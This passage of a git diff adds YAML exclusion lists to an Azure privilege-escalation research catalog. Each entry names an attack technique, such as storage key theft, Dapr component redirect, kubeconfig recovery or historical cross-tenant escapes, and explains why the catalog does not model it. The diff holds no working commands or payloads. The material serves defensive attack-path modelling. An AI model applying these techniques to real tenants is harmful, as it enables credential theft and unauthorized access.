src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md#microsoftappmanagedenvironmentsdaprcomponentswrite---redirect-a-future-dapr-operation + technique: Dapr component write (blind redirect of a future Dapr operation) + source_revision: a66f094ede + reason: Redirects future state/pub-sub/binding data flows to an attacker destination; any identity effect depends on what the app later does through the component + (application logic), not on RBAC. Component listSecrets is modelled by azure-containerapp-dapr-component-list-secrets. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: Namespace-scoped RBAC Writer / Arc Writer / Fleet Writer secret read (service-account token theft) + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#azure-k8s-service-account-targets. Secret read yields the service accounts whose token secrets live in the namespace; + k8s_service_account targets are not allowed for the azure provider. bind/escalate and impersonation are modelled by azure-aks-azure-rbac-k8s-rbac-write and azure-aks-azure-rbac-impersonate.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Fleet Manager member data actions (fleets/members/.../bind, escalate, impersonate, exec) across member clusters + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The actions are granted on the fleet member resource, not the member cluster, and no + placeholder maps a cluster target to its fleet membership.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: fleets/listCredentials (fleet hub kubeconfig) + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The hub kubeconfig is an Entra exec-plugin credential; member-cluster control also + needs the fleet member data actions, whose cluster mapping is not expressible.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: Connected (Arc) and provisioned (AKS Arc) cluster user-credential actions + source_revision: a66f094ede + reason: The connected/provisioned listClusterUserCredential(s) actions return an Entra- or caller-token-bound kubeconfig whose authority is the caller's own Kubernetes + RBAC; no other principal's privileges. The provisioned admin credential is modelled by azure-hybrid-k8s-list-cluster-admin-credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO hosted control plane (hcpOpenShiftClusters) externalAuths/write attacker OIDC provider + source_revision: a66f094ede + reason: Preview surface; an attacker-controlled identity provider yields cluster privileges only when its mapped users/groups hold OpenShift RBAC, and neither the + external auth configuration nor the claim mapping is collected (same reasoning as the AKS external OIDC exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: Trusted Access role binding — service identity access through the AKS gateway (`trustedAccessRoleBindings/write`) + source_revision: a66f094ede + reason: The binding grants a predefined Trusted Access role to another resource's system-assigned identity; the source gains cluster access only if it already controls + that resource's behaviour (page), and the Trusted Access role permissions are not collected. Persistence of an already-held foothold. +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#spring-apps + technique: Attach an identity and grant it RBAC; keep the test endpoint and key + source_revision: a66f094ede + reason: Identity attachment plus roleAssignments/write is persistence of privileges the source already holds (role assignment write is modelled by the authorization + entries; identity attach by azure-springapps-app-write-user-assigned-identity). The test endpoint key gives unauthenticated app HTTP reach only (see the listTestKeys + exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#code-and-artifact-backdoors + technique: Config-server repo poisoning, custom builder / buildpack binding, Eureka service registry poisoning + source_revision: a66f094ede + reason: Configuration and discovery poisoning or build-time tampering of future builds; the result depends on application behaviour and later build activity, not + RBAC. The malicious deployment bullet is modelled by azure-springapps-deployment-write-app-identity. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g7-data-ai.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g7-data-ai.yaml new file mode 100644 index 0000000000..1e1ff3c4cf --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g7-data-ai.yaml @@ -0,0 +1,122 @@ +# Azure privesc completeness audit (g7-data-ai): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#attached-compute-credential-theft-with-computeslistkeysaction + technique: computes/listKeys on attached compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#ml-attached-compute-listkeys (needs a link from an ML attached compute''s resourceId to the AKS cluster-admin / VM + / Databricks target).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#notebook-credential-theft-with-read-only-verbs-listnotebookkeys--listnotebookaccesstoken + technique: listNotebookKeys / listNotebookAccessToken + source_revision: a66f094ede + reason: Notebook file-store access (data); secrets embedded in notebooks are content-dependent. Planting a poisoned notebook needs another user to open and run + it (victim interaction, not derivable from configuration). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceslistkeysaction-and-microsoftmachinelearningservicesworkspacesliststorageaccountkeysaction + technique: Workspace listKeys / listStorageAccountKeys + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-linked-keys-workload-poisoning (both actions as any_of alternatives); direct key use is data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceshubswrite-microsoftmachinelearningservicesworkspaceswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to AI Hub / workspace + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-uami-attach-serverless-job (attach + serverless job). Options 1-3 are covered by azure-ml-online-endpoint-create-with-user-assigned-identity, + azure-ml-jobs-write-compute-identity and azure-ml-compute-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistadminkeysaction--microsoftsearchsearchservicesregenerateadminkeyaction + technique: AI Search admin keys + source_revision: a66f094ede + reason: The managed-identity token path is covered by azure-ai-search-skillset-write-identity-token. An AI Search admin key separately grants application-plane administration of indexes, skillsets, indexers and data sources, and document access when API-key authentication is enabled; this is not merely data access. Model that service-plane privilege with a Search-resource target and a machine-checked disableLocalAuth=false condition. + +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#self-hosted-ir-key-rotation-connection-recon-and-cross-factory-sharing + technique: SHIR regenerateauthkey / getconnectioninfo / linkedIntegrationRuntime + source_revision: a66f094ede + reason: regenerateauthkey is covered by azure-datafactory-rogue-shir-linked-service-credentials (any_of alternative). getconnectioninfo is reconnaissance only; + linkedIntegrationRuntime shares the runtime's network position into another factory, where activities use that factory's own credentials (no identity gain). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pivot-through-blob-backed-pipeline-configuration-without-data-factory-permissions + technique: Poison blob-backed pipeline configuration + source_revision: a66f094ede + reason: Covered by azure-storage-blob-poisoning-consumer (azure_consumer_of_pivot storage_content reaches the factory identity reading the blob); linked-service + credentials used by the run are not an identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#os-level-rce-on-external-compute-batch--databricks--hdinsight-via-a-pipeline-activity + technique: Pipeline Custom Activity / Databricks / HDInsight activity code execution on linked compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#data-factory-linked-compute (needs a link from the factory''s linked services to the Batch pool / HDInsight cluster + identities they reach).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#cluster-init-scripts--notebook-code--rce--steal-the-cluster--workspace-managed-identity + technique: Databricks cluster init script / notebook RCE as the cluster or workspace managed identity + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#databricks-workspace-compute-identity (workspace admin or cluster code execution reaches the dbmanagedidentity user-assigned + identity in the workspace managed resource group and identities exposed through the workspace access connector; no selector links a workspace to them). ARM entry + point: azure-databricks-assign-workspace-admin.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#secret-scope-theft--databricks-backed-and-key-vault-backed-scopes + technique: Databricks secret scope theft + source_revision: a66f094ede + reason: Secret scope contents and ACLs are Databricks data-plane state that is not collected, so which service-principal secrets a scope holds is not derivable; + workspace admin is already modelled by azure-databricks-assign-workspace-admin. Revisit with G7-data-ai-proposals.md#databricks-workspace-compute-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#personal-access-token-pat-minting-for-persistence + technique: Databricks PAT minting + source_revision: a66f094ede + reason: Persistence of already-held workspace access; no new identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-factory-persistence.md#redirect-a-schedule-trigger-with-triggerswrite--stopstart + technique: Data Factory trigger redirect + source_revision: a66f094ede + reason: Duplicate of azure-datafactory-parameter-redirection (its any_of includes triggers/write + stop + start). +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#over-privileged-scanning-identity-retained + technique: Retain Purview scanning identity / SHIR + source_revision: a66f094ede + reason: Confused-deputy data reads through the Purview identity; no token is disclosed. The credential-capture angle is azure-purview-rogue-shir-scan-credentials. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#collection-role-foothold + technique: Purview collection-role foothold + source_revision: a66f094ede + reason: Persistence of already-held Purview data-plane roles; bootstrap is azure-purview-add-root-collection-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#abuse-the-scanning-identity + technique: Abuse the Purview scanning identity + source_revision: a66f094ede + reason: Confused-deputy data reads through scans; no token for the Purview identity is disclosed. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#service-principal-persistence-as-a-workspace-admin + technique: Fabric SP persistence + source_revision: a66f094ede + reason: Persistence of already-held workspace Admin rights. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#git-integration--deployment-pipeline-supply-chain-poisoning + technique: Fabric Git / deployment pipeline poisoning + source_revision: a66f094ede + reason: The Contributor path is duplicate of azure-fabric-notebook-workspace-identity; the repo-write path needs Git provider permissions that are not collected. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#custom-environment--library-persistence-databricks-init-script-analog + technique: Fabric custom environment library persistence + source_revision: a66f094ede + reason: Duplicate of azure-fabric-notebook-workspace-identity (same Contributor requirement and workspace identity target); runs inside other users' interactive + sessions are not derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#self-grant-fhirdicom-data-roles-privesc + technique: Self-grant FHIR/DICOM data roles + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write; the gain is FHIR/DICOM data access. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recover-managed-identity-tokens-from-an-azure-endpoint + technique: Endpoint IMDS token recovery + source_revision: a66f094ede + reason: Needs prior code execution as the endpoint identity; the ARM paths to it are azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#poison-a-reused-hugging-face-model-namespace + technique: Hugging Face namespace reuse + source_revision: a66f094ede + reason: Deploying the model already gives code execution through azure-ml-online-deployment-existing-endpoint; the namespace takeover only affects victims who deploy + by name, which is not derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsaiservicesagentswrite--foundry-agent-poisoning + technique: Foundry agent poisoning + source_revision: a66f094ede + reason: Victim-dependent instruction hijack of agent callers; no identity token is disclosed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#sandboxed-python--r-plugin--code-execution-on-the-cluster + technique: ADX python()/R plugin + source_revision: a66f094ede + reason: Sandboxed execution with no cluster identity token; reaching one needs a sandbox escape (vulnerability). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to MySQL server + source_revision: a66f094ede + reason: The server uses the identity only for Entra admin lookup and service-side calls; no token is exposed to the source (confused deputy). Entra-admin abuse + is azure-mysql-flexible-entra-admin-write. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to PostgreSQL server + source_revision: a66f094ede + reason: Confused-deputy service-side use of the identity (azure_storage extension reads); no token is exposed to the source. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#use-azure_storage-extension-to-access-storage-accounts + technique: azure_storage extension storage reads + source_revision: a66f094ede + reason: Confused-deputy data reads through the server identity; no token is exposed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#previewexfil-source-data-through-a-data-flow-debug-session + technique: Data flow debug preview + source_revision: a66f094ede + reason: Confused-deputy data reads through linked services; no identity token is exposed (the token-yielding sandbox run is azure-datafactory-debug-sandbox-run). diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g8-storage-msg.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g8-storage-msg.yaml new file mode 100644 index 0000000000..64a6e0c76a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g8-storage-msg.yaml @@ -0,0 +1,83 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + technique: Service Bus namespace authorization-rule keys + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies serviceBus.rules[{namespaceId,ruleId,rights}], + namespaces[{id,disableLocalAuth}]. The existing rule must carry the claimed right and SAS auth must be enabled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + technique: Service Bus Geo-DR alias keys + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies serviceBus.geoDrRules[{aliasId,namespaceId,rights}], + namespaces[{id,disableLocalAuth}]. Alias existence, rule rights and local authentication decide the resulting + credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + technique: Service Bus namespace SAS rule creation + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies serviceBus.namespaces[{id,disableLocalAuth}], + rules[{namespaceId,ruleId,rights}]. New Manage rule requires enabled SAS auth and both write and key read-back + on the same namespace. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Service Bus entity authorization-rule keys + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies serviceBus.entityRules[{entityId,ruleId,rights}], + namespaces[{id,disableLocalAuth}]. Entity-scoped rules cannot be promoted to namespace-wide Manage. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleswrite + technique: Service Bus entity SAS rule creation + source_revision: a66f094ede + reason: Self-minted entity SAS credential is persistence/data access; injection needs the key read back, covered by the entity listKeys alternatives of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Send messages with authorization-rule keys + source_revision: a66f094ede + reason: Duplicate of azure-servicebus-message-injection-consumer, whose any_of holds every listKeys / regenerateKeys variant. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-event-injection-with-only-eventssendaction + technique: Event Grid namespace event injection + source_revision: a66f094ede + reason: Duplicate of azure-eventgrid-event-injection-consumer (events/send/action alternative). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#mqtt-topic-space-publication-and-subscription + technique: Event Grid MQTT publish/subscribe + source_revision: a66f094ede + reason: Publish reaching routed handlers is the topicSpaces/publish alternative of azure-eventgrid-event-injection-consumer; subscribe is message data read with + no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubhubswrite---redirect-future-user-events + technique: Web PubSub event-handler redirect + source_revision: a66f094ede + reason: Event exfiltration is data access; when the handler uses managed-identity auth, the token capture is the WebPubSub/hubs/write alternative of azure-signalr-upstream-managed-identity-token. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + technique: Storage account keys + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,allowSharedKeyAccess,publicNetworkAccess,networkAcls}]. + Shared Key disabled blocks use of listed keys. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + technique: Storage account key rotation + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,allowSharedKeyAccess,publicNetworkAccess,networkAcls}]. + Rotated keys grant no usable data-plane access when Shared Key is disabled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + technique: Storage account SAS + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,allowSharedKeyAccess,sasPolicy,enabledServices}]. + The requested SAS service, resource and permission flags must be valid and Shared Key enabled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + technique: Storage service SAS + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,allowSharedKeyAccess,enabledServices}]. + A service SAS is limited to the requested service/resource and Shared Key must be enabled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + technique: Storage SFTP local user creation + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,isHnsEnabled,isSftpEnabled}], + localUsers[{id,homeDirectory,permissionScopes,hasSshKey,hasPassword}]. SFTP and HNS must be enabled; created + user rights are limited to selected containers. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + technique: Storage SFTP local user password reset + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies storageAccounts[{id,isHnsEnabled,isSftpEnabled}], + localUsers[{id,permissionScopes,hasPassword}]. Password rotation inherits only the existing local user container + scopes. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreslistkeysaction + technique: App Configuration access keys + source_revision: a66f094ede + reason: Configuration data read; Key Vault references resolve only with the consumer identity. Poisoning use is the ListKeys alternative of azure-appconfig-keyvalue-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoresregeneratekeyaction + technique: App Configuration key rotation + source_revision: a66f094ede + reason: Store data-plane access only; poisoning use is the RegenerateKey alternative of azure-appconfig-keyvalue-poisoning-consumer. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_pa_az_post_persist_s06.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_pa_az_post_persist_s06.yaml new file mode 100644 index 0000000000..6822b3dcee --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_pa_az_post_persist_s06.yaml @@ -0,0 +1,61 @@ +# Verified Azure audit exclusions. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: VM userData poisoning consumed by privileged startup code + source_revision: 0b36331 + reason: virtualMachines/write can change userData, but the new bytes execute only if guest provisioning or application + code reads and trusts them. The ARM snapshot does not expose that host/application behavior, execution event + or credential access; VM extension and reimage paths are separately modeled. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#bearer-identity-tokens + technique: Recover accepted bearer identity token + source_revision: 0b36331 + reason: The regex detects JWT-shaped bytes, not a credential. A target edge needs the actual token, accepted issuer + and signature, audience, expiry, target principal and effective Kubernetes/Azure grants; those live in public + artifact content and live authentication state outside the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#kubeconfig-credentials + technique: Recover accepted kubeconfig credential + source_revision: 0b36331 + reason: A public kubeconfig is an identity path only if it contains a live bearer token or client certificate + plus private key accepted by the cluster and bound to a privileged principal. The page supplies a regex, not + the public file bytes, credential validity, cluster reachability or RBAC join; a server URL alone grants nothing. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#apim-subscription-keys + technique: Use leaked APIM product/API subscription key + source_revision: 0b36331 + reason: A real unexpired key can grant product/API calls, but its bytes, enabled subscription and product, API + policies and any backend authentication must be verified at runtime. An APIM subscription key is a service data-plane + credential, not an Azure/Entra or other catalog principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#developer-portal-self-registration + technique: APIM open developer self-registration + source_revision: 0b36331 + reason: Registration can create an APIM developer identity and possibly a product subscription, but approval, + product exposure and gateway policy determine access. It grants no Azure/Entra principal or catalog target; + the signup result is a live application workflow outside the cloud RBAC snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-api-management-unauth.md#signup-bypass-even-when-registration-is-disabled + technique: APIM signup bypass yields developer account and subscription key + source_revision: 0b36331 + reason: The page describes a live portal signup and CAPTCHA replay, followed by email confirmation and self-subscription. + Those runtime steps and product approval are not ARM configuration facts; the result is an APIM developer account/key, + not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#azure-sas-urlstokens + technique: Leaked signed service URL or SAS + source_revision: 0b36331 + reason: A valid SAS can delegate service-specific data-plane operations, but the regex does not establish signature, + expiry, permissions or resource. It does not confer the signer's Azure/Entra identity; a later privileged consumer + pivot needs an identified consumer and executable content. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#dangling-cname-subdomain-takeover + technique: Legacy App Service name reclaimed to intercept victim session + source_revision: 0b36331 + reason: 'A dangling CNAME alone does not show the hostname is reclaimable: tenant reservation, secure default + hostname and asuid TXT protection must be checked. An Azure user gain also requires a victim to send a usable + session to the claimed domain; that future traffic and token validity are not snapshot facts.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#function-host-and-master-keys + technique: Leaked Functions master key permits runtime administration + source_revision: 0b36331 + reason: The page distinguishes function, host and master keys, but the regex does not identify a valid master + key for a specific app. MI access further needs a reachable runtime admin/file-write path and execution of modified + code; key bytes, endpoint response and runtime behavior are not in the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-automation-webhooks-unauth.md#automation-webhook-urls + technique: Leaked Automation webhook triggers privileged runbook + source_revision: 0b36331 + reason: A complete live webhook URL permits only the configured runbook invocation. An identity gain needs the + actual unexpired token, enabled webhook, runbook identity, accepted parameters and code path that performs a + caller-controlled privileged action; URL shape and ARM metadata do not establish those runtime facts. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_s06.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_s06.yaml new file mode 100644 index 0000000000..3a6acfa4cb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_s06.yaml @@ -0,0 +1,55 @@ +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: ChaosDB Jupyter cross-tenant Primary Key exposure + source_revision: 0b36331 + reason: Historical Cosmos Jupyter cross-tenant key disclosure was fixed; current server-side vulnerability and + exposed victim key are not tenant snapshot facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Azurescape ACI runC breakout and bridge-token theft + source_revision: 0b36331 + reason: Historical ACI runC/node breakout was fixed; a vulnerable shared node and bridge token cannot be inferred + from customer configuration. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: SynLapse Redshift ODBC injection on shared runtime + source_revision: 0b36331 + reason: Historical shared Integration Runtime command injection was fixed; vulnerable driver/host and cross-tenant + credentials are not tenant facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: AutoWarp cross-sandbox localhost MI endpoint + source_revision: 0b36331 + reason: Historical Automation sandbox isolation flaw was fixed; shared-host placement and another sandbox token + endpoint are runtime service facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#shared-service-tenant-isolation-escapes + technique: Power Platform connector /api/Script unauthenticated read + source_revision: 0b36331 + reason: Historical unauthenticated connector Script endpoint was fixed; a vulnerable host and its contents are + not customer configuration facts. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: BingBang missing tid authorization + source_revision: 0b36331 + reason: BingBang depended on a particular CMS omitting tid authorization; tenant app registration alone cannot + determine relying-party authorization. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Storm-0558 consumer signing key trusted for enterprise apps + source_revision: 0b36331 + reason: Forging another user required the stolen Microsoft signing key and an app that accepted the wrong issuer; + neither is in a tenant snapshot. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#multi-tenant-app-and-token-trust-failures + technique: Midnight Blizzard legacy tenant to corporate OAuth app + source_revision: 0b36331 + reason: The case required a stolen legacy account and an already privileged cross-tenant app/grant; the page gives + no independent new permission primitive. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#default-consent-permissions + technique: user consent to attacker app + source_revision: 0b36331 + reason: An attacker app obtains victim delegated authority only after that victim consents; future user action + is not inferred from consent policy. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#ropc--password-grant + technique: ROPC with stolen username and password + source_revision: 0b36331 + reason: ROPC takeover requires a stolen valid password and a successful live sign-in/Conditional Access result, + neither supplied by configuration. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#where-to-find-tokens + technique: browser session authorization-code redirect to localhost/nativeclient + source_revision: 0b36331 + reason: Requires an active victim browser session, redirect/client eligibility, consent and a successful authorization-code + exchange. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_challenge_crossprovider.yaml b/src/privilege-escalation-paths-research/azure/_excluded_challenge_crossprovider.yaml new file mode 100644 index 0000000000..b09237838a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_challenge_crossprovider.yaml @@ -0,0 +1,24 @@ +# Mixed-provider rows in the Azure challenge. These are real conditional pivots, +# but cannot be represented in the four-provider catalog without changing the +# PEASO sync/export scripts outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md#rce--encrypted-env-vars + technique: Use App Platform console access to extract credentials from decrypted runtime environment + reason: DigitalOcean is not a supported PEASO privesc provider. The console exposes values, but the app spec does not identify a usable target credential; an exact app/component, runtime secret and principal join needs a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Export function environment variables to recover a stored credential + reason: DigitalOcean is not a supported PEASO privesc provider. A function variable name is not proof of a credential or target principal; namespace/function metadata and credential validation require a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#connection + technique: Download a DOKS cluster kubeconfig through DigitalOcean access + reason: DigitalOcean is not a supported PEASO privesc provider. Retrieval yields a kubeconfig, but its actual subject, expiry and effective Kubernetes RBAC must be established before a bounded edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/README.md#ssrf + technique: Use workload SSRF to exchange IBM VPC metadata instance identity for a trusted-profile IAM token + reason: IBM Cloud is not a supported PEASO privesc provider. Metadata enablement alone proves neither a reachable SSRF nor a trusted-profile link; exact VSI, verified SSRF and matching profile facts are required. The PEASO sync/export provider allowlists are outside this task's 